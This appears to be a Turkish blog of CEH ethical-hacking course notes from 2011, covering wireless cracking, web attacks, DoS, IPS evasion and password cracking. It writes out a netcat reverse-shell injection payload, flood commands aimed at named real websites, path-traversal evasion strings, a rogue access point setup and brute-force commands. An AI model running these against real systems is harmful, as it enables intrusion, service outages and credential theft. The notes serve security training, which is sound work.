6 Mayıs 2011 Cuma

CEH by BGA - Gün 5 - Ders 2

Wireless Ağ Güvenliği (Devam)
  • Wireless MAC adres filtreleme atlatma:
    • Monitor modda sistemi dinleriz, bağlanan istemci MAC adreslerinigörürürüz, o MAC adreslerden birini alır, çıkmasını bekleriz, kendi MAC adresimizi değiştirerek bu aşamayı atlatırız.
    • Adam çıkmıyorsa deauthentication paketleriyle adamın düşmesini sağlayabiliriz.
    • #macchanger -m 00:11:22:33:44:55 => Fake MAC adres kullanmak için.
  • WPA. İlk pakette geçen PSK (PreShared Key), TKIP mekanizması tarafından kullanılarak sonraki trafik için yeni anahtarlar üretilir. PSK aynı zamanda SSID ile tuzlanıyor.
    • Handshake ilk 4 pakette oluyor.
  • (Parantez) #genpmk => Rainbow list oluşturma aracı.
  • www.wpacracker.com => Bir sürü makineyi paralel çalıştırarak bruteforce wpa şifresini 10'lu dakikalarda kırabileceğini iddia eden site. ESSID'yi istiyor, tuz olarak kullanacak. Sonra rainbow table'lar ve bruteforce...
  • Gerix wifi cracker. Backtrack içinde mevcut.
  • Sahte AP oluşturma. Gerix içinden mümkün. En kolayı mitmap. Backtrack içinde => /pentest/wireless/mitmap/mitmap.sh
  • bash mitmap.sh -m ap -i wlan0 -o eth0 -s profectAkademi -d /etc/dhcp3/dhcpd.conf => sanal bir AP oluşturup (ssid'si ap), bağlananların trafiğini üzerimden geçirip makinem üzerinden (eth0) internete çıkaracağım.
  • (Parantez) #iwconfig
  • WPA2
    • 802.11i
    • Authentication için yine PSK kullanıyor.
    • Şifrelemede TKIP yerine daha güçlüolan AES-CCMP kullanılıyor.
    • İstemcinin donanımsal olarak desteklemesi gerekiyor.
  • Adım adım WPA PSK Kırma => Sunumlarda var. Oradan alıp buraya eklemek faydalı olur.
  • Cihazımı injection'ı destekliyor mu testi:
    • Önce monitor moda alıyoruz (#airmon-ng start wlan0).
    • #aireplay-ng -9 mon0 sorgusu sonucunda "Injection is working" yanıtı alıyorsak destekliyor demektir.
  • "top 1000 ssid rainbow table" diye google'da arat. Bilinmeyen bir SSID için rainbow table oluşturamaz.
  • WPA PSK kırma: ATI ve NVIDIA grafik kartlarının CPU'su kullanılarak kırma işlemi (denemeler) binlerce kat arttırılabilir.
  • DoS => Beacon Flood. mdk3 aracı kullanarak yapılır. Ortamda bir sürü sahte AP görünür.
  • DoS => zulu.

CEH by BGA - Gün 5 - Ders 1

Kablosuz Ağlar ve Güvenlik

  • Backtrack misali bir sanal makinede ana makinenin kablosuz ağ adaptörü, ethernet kart gibi görünür. Bir USB dongle'ı takıp VMWare (ya da VirtualBox) üzerinden takılan aygıtın wireless adapter olduğunu belirtmek gerekiyor.
  • 802.11 ağlarda tüm iletişim frame'ler aracılığıyla gerçekleştirilir. Çeşitleri
    • Management frame: bağlantı başlatma ve yönetim.
      • Authentication
      • Deauthentication
      • Beacon frame. Access point tarafından yapılan broadcast duyurulardır. İstemcilerin aktif AP'leri bulmasını sağlar.
      • ...
    • Control frame
    • Data frame
  • Probe request. Ağa bağlanmak isteyen istemcilerin gönderdiği paket türü. Broadcast. AP bu requeste yanıt (probe replay) döner.
  • IEEE 802.11 standardı.
  • SSID. BSSID (AP MAC adresi); ESSID (AP Adı)
  • WEP. Kabloyla eşdeğer güvenlik (Wired Equivalent Privacy). Hızlıca çıkarıldığı için yeterince güvenliolması sağlanmamış. 64 bit, 24 biti trafikte açık olarak gidiyor.
  • WPA. WiFi Protected Access. WEP'in açıklarını kapatmak amacıyla çıkmış. WEP'ten en önemli farkı statik yerine dinamik anahtar kullanılıyor.
  • WPA = WEP + TKIP (Temporal Key Integrity Protocol)
  • Ad-hoc = IBSS (Independed Basic Service Set). AP'ye gerek duymadan wireless cihazların birbiri arasında haberleşmesi.
  • Infrastructure mode = BSS
  • Kablosuz ağ arabirim modları:
    • Master mode. Kanal no + SSID ismi ile AP görevi yapabilir.
      • #iwconfig wlan0 mode master (adhoc, monitor...) => master mode destekleniyorsa olur.
      • Airbase-ng. İstediğimiz özelliklerde access point oluşturmak için kullanılan bir tool. Linux'te command-line.
    • Managed mode. Client.
    • Ad-hoc mode
    • Monitor mode. 
      • Pasif bir mode. 
      • Ethernetteki promiscous mode'a benzer.
      • Trafiği izler.
      • Bağlanmadan monitor mode'a alırsanız kendinizibütün trafiği görürsünüz. 
      • Trafik şifreli ise (WEP/WPA) sadece MAC adreslerini görürüz.
      • WiFi noktalarında açık şekilde trafik izlenebilir.
      • Wireless tarafında biri trafiği dinliyorsa ruhumuz duymaz.
      • Bütün atraksiyonlar bu modda yapılır, hackerlar için kıymetli mod bu yani.
      • Linux tarafında wireless adaptörler için driver'lar yazarak monitor mode destekler hale getiriliyor. Windows tarafında 7'ye kadar yokmuş zaten, yeni destekler olmuş.
      • #airmon-ng mon0 start
  • #iwlist wlan0 scan => ortamdaki wireless cihazların listesi.
  • Keşif
    • Aktif keşif. Sadece kendini ifşa edenleri tespit edebiliriz.
    • Pasif keşif. Monitor modda.
  • Kismet. İncele!!
  • Aktif keşif aracı olarak Cain&Abel da kullanılabilir. Ama bu keşif bize pasif modda çalışan AP'leri vermez. Kismet veriyordu. Cain&Abel uyumlu bir wireless adapter (190$ civarı) ile birlikte WPA/WEP 

5 Mayıs 2011 Perşembe

CEH by BGA - Gün 4 - Ders 4

Web Uygulamaları Güvenliği (Devamı)

  • Uygulama, password resetlemede eski password'ünüzü gönderiyorsa password'ü açık metin tutuyor demektir (%99). Hash'li olsa eski password'ü dönemez.
  • Parolaları hashlerken mutlaka salt (tuz) değerleri kullanılmalı. Ya da tekrar tekrar hashlenebilir.
  • Default parolaları denetimlerde mutlaka dene.
  • IPS'ler statik koruma sağladığından ve genellikle SSL trafiğe bakmadığından web uygulama saldırılarını önleme zayıftır.
  • Firewall/IPS/WAF karşılaştırması => F5
  • WAF örnekleri: Imperva, Modsecurity (open source, linux'te ilaçtır, Apache için), Breach Security, F5, Citrix Netscaler...
    • Yapılandırılırsa iyi, yapılandırılmazsa kötüdür.
    • Yorum: Citrix'in Türkiye temsilcileri, F5'ın temsilcilerinden teknik olarak daha bilgili (güvenlik tarafı için)
    • Çalışma mantığı
      • Positive Sec. Model
      • Negative Sec. Model
      • Learn-based
    • Yerleşim senaryoları
      • inline bridge (IPS modu)
      • offline (passive) => WAF'ı tanıyana kadar bu modda çalıştırmak mantıklı.
      • integrated (%3) => sadece bütünleştiği sunucuyu korur.
      • reverse proxy (%95)
  • WebGoat çözüm videoları internette var. Ara.
  • Acunetix'in eğitim amaçlı uygulaması var.
  • Nikto.
  • Nessus üzerinden Nikto'yu plug-in olarak ekleyip kullanabiliyorsunuz.
  • Uygulama: WafW00F. İncele!!
  • (Parantez) novirusthanks.org => virustotal'e alternatif, underground camia tarafından kullanılan.
  • (Parantez) 100% FUD (Fully UnDetectable)

CEH by BGA - Gün 4 - Ders 2-3

Web Uygulama Güvenliği (Devamı)

  • shodanhq.com/exploits => şimdiye kadar çıkmış açıklıkların aratılabileceği, google'a alternatif, exploitlere özel arama motoru.
  • LoginFinder. Windows tarafında çalışan bir uygulama. Uygulamalardaki sadece login ekranlarını bulmaya yarıyor.
  • Paros artık geliştirilmeyen bir ürün.
  • Owasp ZAP => Paros'un yeni versiyonu gibi değerlendirilebilir.
  • Flash decompile edilebilir, içinde user/pwd barındırıyor olabilir. Flash testlerinde aklında olsun!
  • x-forward-for. İncele!!! Bu özelliğin aktif olduğu proxylerde talep başka IP'den gelmiş gibi yorumlar bırakabilir saldırgan sunucuya. IP spoofing normal şartlarda yapılamaz ama bu durumda IP spoofing yapılıyor gibi istekler gönderilebilir işte!
  • Gelen talebin mobil cihazdan mı, PC'den web üzerinden mi geldiğinianlamanın yolu User-Agent header'ıdır. Bu da client tarafından doldurulan bir alan olduğundan rahatlıkla değişitirlebilir.
    • Bu konuya örnek Garanti'nin mobil cihazlar üzerinden yapılan EFT'lerden ücret almaması. User-Agent ile oynayıp talep mobil cihazdan gidiyormuş gibi göstererek EFT'ye ücret ödemez.
  • Genel Düstur: Kullanıcıdan gelen bilgiye kesinlikle güvenilmez.
  • Flash scanner: swfscan!!!
  • XSS ile ilgili kitap: XSS Exploits.
  • testfire.net => DVWA gibi bir site.
  • TinKode security blog => Hackliyor ve sonuçlarını sitesinde yayınlıyor. 
  • SQLi araçları: Pangolin, Havij. İncele!!!
  • Command Injection Exploitation: ";nc -e /bin/bash 192.168.200.12 443" => shell açma.
    • -e ile sonrasından gelen file'ı çalıştır diyoruz.
  • File Inclusion
    • Local (LFI)
    • Remote (RFI)
    • ha.ckers.org/weird/rfi-locations.dat => RFI zafiyeti içeren URL kalıpları
    • Upload yapmaya izin veren sitelere dikkat (forumlarda avatar upload'u mesela)
  • Web Shell. Hacklenen sunucuları daha kolay yönetmek için yazılmış web uygulamaları.
    • R57 en popülerlerinden biriydi. İfşa olduğundan artık kullanılmıyor.
  • c99.php dosyası DVWA'nın RFI testinde shell açmak için upload edilebilecek dosya. Dosyanın neler yaptığına DİKKAT! Test ettiğimiz makineyi kamuya mal etmeyelim...

CEH by BGA - Gün 4 - Ders 1

Web Uygulama Güvenliği

  • Diğer protokol ve konulardan daha zor. En önemli konulardan biri.
  • Bilgi güvenliği üzerindeki saldırıların %75'i web uygulama katmanında çıkıyor (Gartner - 2008)
  • Güvenlik içinharcanan paraların %10'u web, %90'ı network tarafı için oluyor (Gartner - 2008)
  • Uygulamaların 2/3'ü zafiyet barındırıyor (Gartner - 2008)
  • Google hacking...
  • Defacement = web sayfasının giriş sayfasının değiştirilmesi (Türk hacker jargonunda "index atma" olarak geçiyor). Genelde DNS'i kendi üzerlerine yönlendirerek yapıyorlar.
  • Defacement arşivi: Zone-H. Yaklaşık 2000'den beri hacklenen sitelerin arşivini tutuyor.
  • Defacement'ı otomatize eden uygulamalar / araçlar mevcut.
  • Rooting. Web sistemlerdeki bir açıklıktan kaynaklanarak Linux sistemde root olma. Patch eksiği ana neden.
    • Reverse shell ile command line açıyor.
    • uname -a ile kernel'ı öğreniyor.
    • O versiyon kernel'ın açıklarını internetten aratıp root olmanın yollarını deniyor.
  • Web uyg. güv. nelere bağlı?
    • Sunucu güvenlği
    • Kimlik bilgileri
    • Mail adresi
    • Firewall/IPS/IDS/WAF
    • Yazılım Güvenliği
    • DNS güvenliği
    • Registrar firmanın güvenliği
    • Hosting firmanın güvenliği
    • Parola güvenliği
  • HTTP - L7 katmanında. TCP üzerinde çalışır.
  • (Parantez) WebDAV, hem Apache, hem IIS tarafında. Kurulduğunda PUT ve DELETE metotlarına izin verir hale geliyor.
  • Loglama genelde URL seviyesinde yapılır (Default Apache'de de IIS'de de böyle). GET talebi olursa loglarda user/pwd bilgileri görülecek, PUT talebi olursa loglarda user/pwd görünmeyecek demektir bu.
  • (Parantez) 5651 sayılı kanun, GET ve POST'un detayını (gövde ve parametreler) istiyor.
  • Web sunucu keşfi:
    • netcraft.com, 
    • nmap -sV -p 80 <ip>
  • Plecost. Wordpress fingerprinting tool. Wordpress uygulaması keşfi amacıyla kullanılan araç. Python.

4 Mayıs 2011 Çarşamba

CEH by BGA - Gün 3 - Ders 4

TCP/IP Protokolü Zafiyet Analizi
  • Protokol ilk çıktığında güvenlik değil güvenilirlik (bir noktadan bir noktaya verinin mutlaka gittiğini bilmek) düşünülmüş (1983).
  • Alt seviye protokollerinin güvenilirliği üst seviyeleri etkiler.
  • ARP (L2)
    • IPv6'te ARP yerine NDP (Negihbor Discovery Protocol) geliyor.
    • 1.2.3.4 IP kimdir diye broadcast yapılıyor; karşısında MAC adresi cevap olarak dönüyor.
    • ARP'de gelen yanıtı doğrulama gibi birşey yok, gelen doğru kabul ediliyor.
    • ARP request: "Who has 1.2.3.4? Tell 5.6.7.8"
    • Yeni nesil wormlar MitM ile bu protokolü sıkça kullanır.
  • L2 saldırı türleri
    • ARP Spoofing & ARP Poisoning
      • arpspoof => LAN'de sürekli (Gateway benim, benim, benim...) diyoruz. Gateway dinamik ise bu çalışır, statik tanımlanmışsa çalışmaz. Ağdaki diğer makineler artık bana yönlenmiş olur; ben de bana gelen paketleri gerçek gateway'e gönderirim. Forward'ü disable etmezsem tabi.
      • En basit engelleme yolu switchlerde engellemektir.
    • MAC Flooding. Switch'i hub mantığına dönüştürür başarılı olursa. Hub gibi tüm trafiği ağdaki tüm makinelere yayar.
    • hamster (linux) => backtrack'te /pentest/sniffers/hamster. İncele!!!
    • Üzerimize çektiğimiz trafiğe gelen https taleplerini http trafiğine dönüştürebiliriz => sslstrip (linux)!!!
      • http üzerinden trafiğe başlayıp https'e yönlenilen site ziyareti senaryosunda geçerli.
      • Senaryo:
        • http://www.isank.com.tr'ye giriyorum.
        • Oradan şube linkine tıklıyorum, https://sube.isbank.com.tr'ye yönleniyor.
        • Bu arada ARP spoof eden saldırgan, benim trafiğimi isbank'a https olarak gönderiyor, ondan gelen yanıtı bana http gönderiyor (browser'ımda dikkat edersem trafiğin https olmadığını görürüm). 
      • Saldırgan olarak trafik SSL'e dönmeden araya giriyoruz.
    • Firefox'ta "bu sitelere giderken sadece SSL kullan" diyebildiğimiz bir plug-in var. İncele!
  • (Parantez) iptables -t nat -A PREROUTING -p tcp -dport 80 -j REDIRECT --to-port 10000 => 80. porta gelen talepleri 10000'e yönlendir.

    CEH by BGA - Gün 3 - Ders 3

    • (Parantez) isup.me => bir sitenin ayakta olup olmadığını sorgulayabildiğimiz bir site.
    • Yapılan denemede 80 portuna yapılan DoS saldırısı başarılı olmadı, ancak 25 portuna saldırarak site erişilmez hale getirildi.
      • hping3 -p 25 -S --flood --rand-source mail.xyz.com.tr
      • Konfigürasyonda yapılan bir eksiklik muhtemelen. Bir cihazın session tablosunu doldurduk muhtemelen.
    • (Parantez) #dig NS sahibinden.com => DNS sunucuları sorgulaması.
    • (Parantez) #dig @ns2.sahibinden.com www.sahibinden.com => ns2 DNS sunucusunu kullanarak sorgulama.
    • UDP Flood saldırıları
      • hping --udp --flood --rand-source -S -p 53 ns1.sahibinden.com => BOŞ udp paketleri gönderiliyor.
      • UDP, connectionless bir protokol. Paketi gönderdim, yanıtı umrumda değil.
      • UDP paketi gönderildiğinde karşı tarafta bir state oluşturma durumu yok. Firewall yalancı bir state tutar.
      • Daha fazla paket gönderilebileceği için tercih edilebilir. Paket boyu TCP için ortalama 60 byte, UDP için 40 byte.
      • Eğer firewall kapalı portlar için paketi drop etmek yerine REJECT ediyorsa her talebe bir yanıt dönmesi demek; DoS açısından kötü. Firewall'u drop edecek şekilde ayarlamak daha sağlıklı olur.
    • HTTP GET Flood, 
      • Gerçek IP üzerinden yapılamk zorunda demiştik (handshake tamamlanması gerekiyor). Tek IP'den değil dağıtık şekilde botnet'lerden yapılır bu saldırı.
      • Saldırgan, POST talebi üzerinden ve dinamik oluşacak sayfalara talebi gönderir. Dinamik oluşacak (arama sonucu sayfası gibi) sayfalara saldırma nedeni, caching cihazı tarafından sayfalar cache'lenir ve yanıtları oradan dönmeye başlar (sunucuya ulaşmadan), dinamik sayfalarda ise her seferinde yeni bir sayfa oluşacağından sunucuya ulaşarak sayfayı talep edecek.
      • ab -n 100000 -c 2000 http://sahibinden.com/search.php => saniyede 2000, toplamda 100000 istek gönder.
      • ab => Apache HTTP server benchmarking tool
      • (Parantez) Rate limiting. Savunma sistemi, gelen IP'nin gerçek olup olmadığını tespit edemeden engelleme yapıyorsa (3lü el sıkışmayı tamamlamadığı IP'ler için de engelleme yapıyorsa) sıkıntı var demektir; bambaşka IP adreslerini engelletebiliriz cihaza. => Hatırlatma: hping3'te -a ile farklı bir IP üzerinden paket gönderebiliyorduk. Linux iptables'ta bu sıkıntı var.
    • UDP paketlerinin gerçek IP'den gelip gelmediği kontrolü: 
      • Connectionless olduğundan el sıkışma tamamlama gibi birşey yok.
      • Bilgi: Gerçek IP'ler, gönderdikleri UDP taleplerine yanıt alamadıklarında (misal 3 sn içinde) aynı talebi tekrar eder (misal 3 kere), sonra timeout'a düşer.
      • Gerçek IP mi kontrolü: Gelen ilk UDP paketi drop edilir, aynı IP'den aynı özelliklerle tekrar aynı UDP talep gelirse gerçek IP olduğuna karar verir.
    • BIND Dinamik Update DoS
    • DNS tarafı DoS saldırıları çeşitleri:
      • DNS sunucu yazılımıüzerindeki açıklıklar (BIND gibi)
      • DNS flood (BruteForce) => bu işi yapan bir sürü script var: maraveDNS.pl gibi.
      • Ampf. DNS DoS

    CEH by BGA - Gün 3 - Ders 2

    • DNSCat yazılımı. Karşı tarafa sadece OS yönetmek için bir tünel kuruyor. 
      • dnscat --domain tunnel.xyz.com.tr --exec cmd.exe => Dönen yanıtları cmd.exe'ye yönlendir.
    • UDP portunun açık olup olmadığı:
      • nslookup ile isteklerimi şu DNS sunucuya gönder diyoruz. Taleplerimiz o sunucuya erişiyorsa portun açık olduğunu söyleyebiliyoruz.
    • UDP porttan gönderilen isteğin yanıtı 512 byte'tan büyükse TCP'ye çevrilir. Cevap dönmemiş olur. (Aradaki cihazlardan herhangi bir tanesi bile EDNS desteklemiyorsa).
    DoS - DDoS
    • Güvenlik = C-I-A (Confidentially - Integrity - Availability)
    • Genel Kavramlar:
      • DoS
      • DDoS
      • Zombi: Emir kulu. Çeşitli zafiyetlerle sızılmış ve arka kapı yerleştirilmiş sistem. Yamalar güncel yükleniyorsa, antivirüs varsa, çok zararlı sitelerde gezilmiyorsa kolay değil bir makinenin zombi olması.
      • BotNet: roBOT NETworks.
      • IP Spoofing
    • DoS
      • Sistemi ele geçirme değil, ulaşılamaz hale getirmedir (hizmeti durdurma) amaç.
      • Network kelimesinin geçtiği her yerde DoS vardır. Yerel ağda, kablosuzda...
    • (Parantez) Port knocking! Araştır!! Arka arkaya x adet SYN y adet FIN paketi alırsan portu aç!!!
    • Master & CC (Command Center) => Zombilerin yönetim merkezleri.
    • DoS kaynakları
      • Tasarımsal problemler (TCP Syn flood gibi)
      • Yazılımsal problemler
    • DoS Sonuçları
      • Finansal kayıplar.
      • Prestij / Güven kaybı.
    • Fast Flux Hosting: Bir alan adına binlerce farklı IP adresi atanması durumu. 
      • Anlık değişen IP'ler. 
      • Malware yayma amaçlı sunucuların dağıtık bir yapıda olmasını sağlıyor.
      • DNS'lerin time out sürelerini o IP için mesela 1 dakikaya indiriyorlar, 1 dk sonra tekrar talep yapıldığında istemciye farklı bir IP yanıtı dönüyor.
    • Kablosuz ağlarda ne kullanılırsa kullanılsın hepsinde MAC adresi açık gittiği için DoS yapılabilir.
      • Re-authentication / De-authentication.
    • Eski DoS yönetmleri
      • Smurf (ICMP Smurf). OS'lar, gelen ICMP (Echo Request) broadcast isteklerini drop ediyorlar artık.
      • Ping of Death
    • Günümüzde kullanılan yöntemler:
      • SYN flood.
        • TCP mantığı değişmedikçe devam edecek.
        • Etkisi büyük, çözümü de kolay.
        • "backlog q"
        • SYN-ACK, bizim gönderdiğimiz sahte IP adreslerine döner. 
        • Firewall oturum tablosu çökertilmeye çalışılır.
        • Önlem: Syn-cookie / Syn-proxy vb.
        • TCB (TCP Control Block) => Her SYN için 300 byte kaynak ayrılıyor. 
        • Syn-cookie'de 3lü el sıkışma tamamlanmadığı sürece kaynak ayrılmıyor.
      • HTTP Flood
        • En temel farkı: Sahte IP adreslerinden istek gönderemezsiniz; 3lü el sıkışmayı tamamlanması gerekiyor. Sahte IP adresi ile SYN göndererek pratikte 3lü el sıkışmayı tamamlayamazsınız.
        • HTTP KeepAlive. HTTP 1.1 ile geldi. Bir TCP bağlantısı üzerinden 50-100 HTTP isteği gönderilebilmesi. Hem sunucu hem istemci tarafından destekleniyor olması gerekir.

    CEH by BGA - Gün 3 - Ders 1

    Firewall ve İçerik Filtreleme Atlatma

    • "Tek port/protokol ile sınırsız internet"
    • Günümüziçerik filtreleme araçları, içten dışa akan trafikte araya girerek SSL trafiğini kendi üzerinde sonlandırıyor, kendi aldığı SSL sertifikasını kullanıcıya dönüyor ve kendisi ilgili siteye erişiyor. Yani SSL'de araya girerek trafiği cleartext olarak görüyor, inceliyor, gerek duyarsa filtreliyor.
    • Şu şu şu sitelere yapılan SSL bağlantılarına güveniyorum, onlara bakma denebiliyor bu tür cihazlarda. Misal "garanti.com.tr'ye giden SSL trafiğinde araya girme".
    • Dünya SSL üzerinde akmayı artırdıkça bu kaçınılmaz hale geliyor.
    • Gizli kanallarda mutlaka dışarıda ek bir sunucuya ihtiyaç vardır.
    • TCP üzerinden tünelleme yöntemleri (Dışarı doğru herhangi bir TCP portu açıksa):
      • OpenVPN kullanarak doğrudan VPN kurma
      • SSH tünelleme
      • Dışarıdaki bir kullanıcıyıiç ağa sokma. Yerel ağdaki tüm sistemler aynı değerde/ağırlıkta.
    • (Parantez) Syn-Proxy: Her porta gelen taleplere SYN-ACK dönüyor.
    • UDP Tünelleme
    • HTTP Tünelleme
    • (Parantez) SSH paketleri hep "SSH-" ile başlar.
    • Webtunnel.  İncele!!
      • 2 adet Perl scriptinden oluşuyor.
      • Bilinen IPS cihazları tarafından tanınmıyor. Gerekli saldırı imzası için kural yazılması gerekir. wts.pl, user-agent vs kontrolleri yapılabilir basitinden.
      • Tünel içine tünel sokuluyor. Abartıp birkaç tünel de oluşturulabilir (SSL içi HTTP, onun içine SSH, onun içinden HTTP trafiği)
    • Kurumsal ortamlarda içerik filtreleme cihazları genellikle 443 portunu kontrol etmezler.
    • DNS Tünelleme
    • Kapalı network diyorsan, gerçekten / fiziksel olarak kapalı olması gerekir. Switch'e uplink yapayım da gitsin DNS sunucuya baksın vs dediğimiz anda artık kapalı değil ağ. "Bir port/protokol..."
    • iodined => IP Over DNS'in daemon tarafı.

    3 Mayıs 2011 Salı

    CEH by BGA - Gün 2 - Ders 5

    IDS/IPS

    • 1. nesil: Firewall; 2. nesil: IPS/IDS; 3. nesil: WAF
    • Örnek kural satırı: DROP tcp any 80 URICONTENT cmd.exe
    • IPS Keşif çalışması
      • Genelde Rule/Signiture bazlı sistemlerdir.
      • L2 sistem olduğundan TTL gibi yöntemlerle tespit edilemez.
      • Onu devreye alacak / kızdıracak birşeyler göndermek lazım. /etc/passwd ya da cmd.exe ya da ../../../ gibi. IPS bunlara kızmıyorsa çöpe at zaten :)
      • DROP ya da TCP Reset ya da UDP için ICMP port unreachable dönüyorsa IPS olduğunu söyleyebiliriz.
    • IPS atlatma yöntemleri
      • Google'dan IPS evasion diye arat...
      • IPS Blacklist ile paket içeriği yakalamaya çalıştığı için, çöp karakterler, etc/a/s/d/../../../passwd, etc///////pwd vb birçok yolla IPS atlatılabilir. Denemek lazım. Aynı şekilde URL encoding (hatta double, triple vs) denenebilir saldırı cümlesi...
      • SSL üzerinden paket gönderme. Bu yöntemi yemeyen sistem görmemiş henüz hoca. IPS kesemiyor paketin içeriğini bilemediği için. Cipher (Private Key) yok elinde çünkü. ncat --ssl ve nssl uygulamalarını bu amaçla kullanabiliriz (paket göndermek ve sonucunu görmek adına)
      • Bazı IPS firmaları, SSL decryption ile içeriğine bakabiliyor. Private key'lerin IPS üzerine yüklenmesi lazım (eğer IPS destekliyorsa tabi)

    CEH by BGA - Gün 2 - Ders 4

    Güvenlik Sistemlerini Atlatma Yöntemleri
    • Alınan önlemlerin bir işe yaramadığını gösterecek konu.
    • Bilgi güvenliği alanı çok dinamik; statik çözümlerle önlem alınamayacağı gösterilecek.
    • IPS vb sistemlerin ne kadar "güvenilmez / güvenilmemesi gereken" sistemler olduğunu göreceğiz.
    • Güvenlik personllerinden temel bilgi sahibi olmadan ileri seviye işler bekleniyor. Mesela TCP/IP bilmeden Firewall/IPS yönetmesi isteniyor.
    • Günümüz sınırgüvenliği sistemleri
      • Router
        • Network cihazı olsa da güvenlik amaçlı kullanılabiliyor.
        • DoS saldırıları salt router'la önlenebilir.
      • Firewall (Güvenlik Duvarı)
      • IPS/IDS
      • WAF
      • DDoS engelleme sistemleri
      • DLP (Veri Sızma Engelleme) => Parayı nereye harcayacağını bilmeyenlerin kurduğu sistem :)
      • ...
    Firewall
    • Ağlar arası erişim kontrolü amacıyla kullanılır.
    • Port ve IP bazlı çalışır (Next generation firewall'lardan bahsetmiyoruz)
    • İçeriği denetleyemez (Next gen. fw'lardan bahsetmiyoruz)
    • 2 çeşit engelleme yapar:
      • DROP (Paketi drop et, cevap dönme)
      • REJECT (Reject yanıtıdön)
    • Firewall olup olmadığını anlama
      • hping -p 80 -S <hedefIP>
      • hping -p 81 -S <hedefIP>
      • hping -p 91 -S <hedefIP>
      • Kapalı portlar için yanıt dönmüyorsa firewall olduğu anlaşılır.
    • Firewall politikasının kapalı portlar için gelen talebi DROP etmek, trafiği meşgul etmemek için tercih edilebilir (DoS'a karşı)
    • TTL değerlerinden firewall keşfi
      • L3 routing işlemi yapan bir cihaz, TTL'i bir  azaltır.
      • Firewall'ın geçireceği bir paket (SYN mesela) ve geçirmeyeceği bir paket (FIN mesela) gönderilir, dönecek yanıtların TTL değerleri incelenir.
    • Bir port açıksa bütün portlar açıktır. Bir protokol açıksa bütün protokoller açıktır.
    • Bazı Firewall atlama yöntemleri:
      • SSH Tunnelling. Firewall, içeriğe bakarsa (next generation firewall'lar) tünelleme olduğunu anlar, ama klasik yaklaşımda port bazlıkontrol yapan firewall'larda bu tünel üzerinden tüm trafiği akıtırız ve firewall bunu anlayamaz.
      • Ultrasurf. Firewall atlatmanın en zirve yöntemlerinden biri.
      • OpenVPN. Herhangi bir port üzerinden UDP veya TCP bağlanabilir.
    • L7 Firewall (Application Firewall)
      • Paket içinde /etc/passwd geçiyorsa engelle diyebiliriz mesela (CTF'lerde kullanılır bu).
      • "/./" bloğu çöp karakter (null karakter). /etc/passwd engellenmişse "/etc/.//passwd" geçiyor olabilir. Bu tür denemeler yapılabilir.
      • Linux'te L7-filter, bu tür firewall'lara örnektir.
      • (Parantez) hackvertor.co.uk

    CEH by BGA - Gün 2 - Ders 3

    • Cisco Type5 parolaları JTR kullanarak kırılabilir.
    • JTR ile yapılan, offline bir atak. Hash değerini eldeediyoruz bir şekilde, sonra kırmaya çalışıyoruz.
    • Online BruteForce Taramaları
      • En sık karşılaşılanı SSH BruteForce
      • Medusa. Network üzerinden bruteforce/dictionary attack düzenlemeye yarayan bir araç.
        • -d => dump. Hangi protokollere karşı parola denemesi yapabildiğini söyler. RDP yok mesela. RDP tarafında NCrack kullanılıyor.
        • medusa'yı farklı bir portta (default 22) çalıştırmak için: -n
        • -f: İlk geçerli usr/pwd bulduğunda dur.
        • Örnek yardım alma: medusa -M smbnt -q
        • Basic Authenticaation testi: medusa -M http -m USER-AGENT:"Firefox-Explorer-99.1" -m DIR:/test -m AUTH:BASIC -h <IP> -u <USR> -P <PwdFile>
    • DEPANT: DEfault Password Network Tool.
    • JTR'nin Windows versiyonu da (GUI) var.
    • Cain & Abel: MS OS'lerin parolalarını kırma ve network güvenliği test aracı.
      • Rainbox table desteği.
      • Bruteforce yapabiliyor. Deneyeceğin karakterleri belirtebiliyorsun.
    • ÖZET:
      • Offline pwd hash cracking tarafında 
        • Cain & Abel
        • John The Ripper
        • Hashcat (hem GUI hem commandLine var)
      • Online pwd hash cracking tarafında 
        • Medusa
        • Hydra
        • Ncrack
      • Sniff
        • dsniff
        • Cain & Abel
    • SSLStrip => Kullanıcıyı SSL üzerinden gidiyormuş gibi kandırıp http üzerinden trafiğini akıtarak user/pwd'lerini alabiliyoruz.

      CEH by BGA - Gün 2 - Ders 2

      • SET: Social Engineer Toolkit
      • BackTrack => /pentest/exploits/SET
      • "Metasploit el kitabı" diye google'da aratırsan, 60 sayfalık bir Türkçe çeviri (by BGA diye anladım)
      • Fasttrack => Arka planda Metasploit kullanan bir GUI. Web arayüzünden erişiliyor kurulduktan sonra.
      • BackTrack'te kurulumu var. Kurup kullanılabilir.
      Parola Güvenliği ve Şifre Kırma Saldırıları
      • bash-history => girilen tüm komutların bir  tarihçesi tutuluyor burada.
      • mysql-history => burada da mySql içinde girilen tüm komutlar tutuluyor. Mesela "mysql -u root -p admin" şeklinde bir komut çalıştırıldığında şifre piyasada demektir.
      • 2 tip
        • Offline ataklar => hash doyasını alıp evimizde kırmaya çalışıyoruz.
          • Önce parolanın şifrelenmiş halde bulunduğu şeyler elde edilir
          • Sonra çeşitli programlarla offline denemeler yapılır
            • Sözlük saldırıları 
              • skullsecurity.org/wiki/index.php/Passwords
              • AWLG: Associative Word List Generator
            • Brute-force
              • %99 çözüm getirir, ama süre sıkıntısı vardır. 1 makineyle saniyede 5milyar denemeyle case-sensitive 10 basamaklı bir şifreyi 540 yılda kesin kırarsın!
              • Rainbow yöntemini kullanmak daha mantıklı
            • Hybrid
            • Rainbow table
              • Karşı önlemi: tuzlama (salt). WPA'da tuz değeri olarak SSID ismi veriliyor. Güvenlik camiasının bu golünü underground camiası henüz çıkaramadı.
        • Online ataklar
          • Pasif online
            • dsniff (etercap de var)
            • Caine&Abel
            • Network trafiği dinleyerek (authentication bilgileri gelince login bilgilerini kaydet)
            • MITM yönetmiyle parola toplama
          • Aktif online
            • Brute force denemeler
            • Kötü parola politikaları işi kolaylaştırır
      • Parola = password.
      • Şifre = parolayla kriptolanmış veri.
      • Çoklu kimlik doğrulama ile bu saldırılar engellenmeye çalışılıyor. (2/3-factor authentication)
      • Encoding: Amaç gizleme değil, farklı formatlar arası mapping.
      • Passphrase: ben senin b3n1 s3v3b1lm3 1ht1malini
      • Default parolaların denenmesi, mutlaka denenmesi gerekir.
      • Linux parola güvenliği
        • /etc/passwd'de username'ler, /etc/shadow ya da /etc/master.passwd.. içinde parolalar (hash'li)
        • md5 kullanılıyordu, artık SHA256/512 kullanılmaya başlandı.
        • Tuzlama, 2000'in başlarından beri linux'te yapılıyor. Parolanın hash'i alınıyor, tuzlanıyor, tekrar alınıyor.
